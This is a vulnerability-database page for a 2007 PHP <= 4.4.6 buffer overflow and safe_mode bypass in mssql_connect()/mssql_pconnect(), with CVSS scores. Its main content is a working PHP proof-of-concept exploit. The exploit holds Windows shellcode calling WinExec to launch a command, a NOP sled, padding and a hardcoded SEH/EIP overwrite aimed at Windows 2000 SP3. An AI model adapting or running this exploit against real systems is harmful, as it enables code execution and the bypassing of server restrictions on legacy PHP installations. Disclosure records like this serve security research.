PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow and safe_mode bypass

2007-03-13 / 2007-03-14
Credit: rgod
Risk: High
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<?php // PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow // poc exploit (and safe_mode bypass) // windows 2000 sp3 en / seh overwrite // by rgod // site: http://retrogod.altervista.org // u can easily adjust for php5 // this as my little contribute to MOPB $____scode= "\xeb\x1b". "\x5b". "\x31\xc0". "\x50". "\x31\xc0". "\x88\x43\x59". "\x53". "\xbb\xca\x73\xe9\x77". //WinExec "\xff\xd3". "\x31\xc0". "\x50". "\xbb\x5c\xcf\xe9\x77". //ExitProcess "\xff\xd3". "\xe8\xe0\xff\xff\xff". "\x63\x6d\x64". "\x2e". "\x65". "\x78\x65". "\x20\x2f". "\x63\x20". "start notepad & "; $eip="\xdc\xf5\x12"; $____suntzu=str_repeat("\x90",100); $____suntzu.=$____scode; $____suntzu.=str_repeat("a",2460 - strlen($____scode)); $____suntzu.=$eip; mssql_pconnect($____suntzu); ?> original url: http://retrogod.altervista.org/php_446_mssql_connect_bof.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top